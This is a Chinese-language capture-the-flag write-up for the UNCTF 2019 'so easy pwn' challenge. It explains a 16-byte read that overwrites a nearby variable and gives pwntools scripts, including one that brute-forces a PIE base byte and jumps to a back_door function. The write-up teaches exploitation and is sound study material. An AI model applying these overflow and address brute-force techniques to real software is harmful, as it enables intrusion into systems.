unctf 2019 so easy pwn

Posted by Red on November 26, 2019

这个题经过 @x 的注释之后是这样的:

寻找漏洞点

思路是在两个read函数处下断点,这种写的操作最容易有漏洞,看到read了16个字节,所以拿16个A测试,关闭地址随机化之后,调试,用vmmap看加载的基地址,得到read的真实地址,初步代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

context.log_level='DEBUG'
context.terminal=['tmux','split','-h']
sh = process('./pwn')

gdb.attach(sh,'''
	b* 0x5655595a #read1
	b* 0x56555a06 #read2
''')

sh.send("A" * 16)
sh.interactive()

调试之后发现welcome中的s地址为0xffffd16c, call函数中的v1的地址为0xffffd178,buf地址为0xffffd17c,也就是说s和v1地址只差了12,我们输入16个字节后刚好可以覆盖v1的地址,这就是漏洞所在:

利用

查看call函数中函数恰巧return了v1,而v1又能被我们覆盖,所以利用方法不言而喻,用12个padding加上一个返回地址即可,查看程序中有back_door可以利用,但是程序开启了PIE。再看welcome函数中泄露了基地址的前16位,也就是前4个字节,back_door中 泄露了后三字节,也就是说需要我们爆破中间的一个字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.log_level='DEBUG'	
context.terminal=['tmux','split','-h']
try:
	for i in range(0x1000, 0x10000, 0x1000):
		print hex(i)
		sh = process('./pwn')
		  
		back_door = 0x000009cd
		offset = 12 

		#gdb.attach(sh,'''
		#	b* 0x5655595a
		#	b* 0x56555a06
		#''')
		sh.recvuntil("the ")
		ads = (int(sh.recvuntil(" ", drop = True)[-6:]) << 16) +i
		print ads
		sh.recvuntil("name?")
		payload = "a"*offset +p32(back_door +ads)
		sh.send(payload)
		sh.recvuntil(":")
		sh.send("anything")
		sh.interactive()
except Exception as e:
	pass

这个题中有个好玩的地方就是第二次read,不管输入什么都会报错,调试得知原来read函数根本没read成功,read返回值(rax)为-1: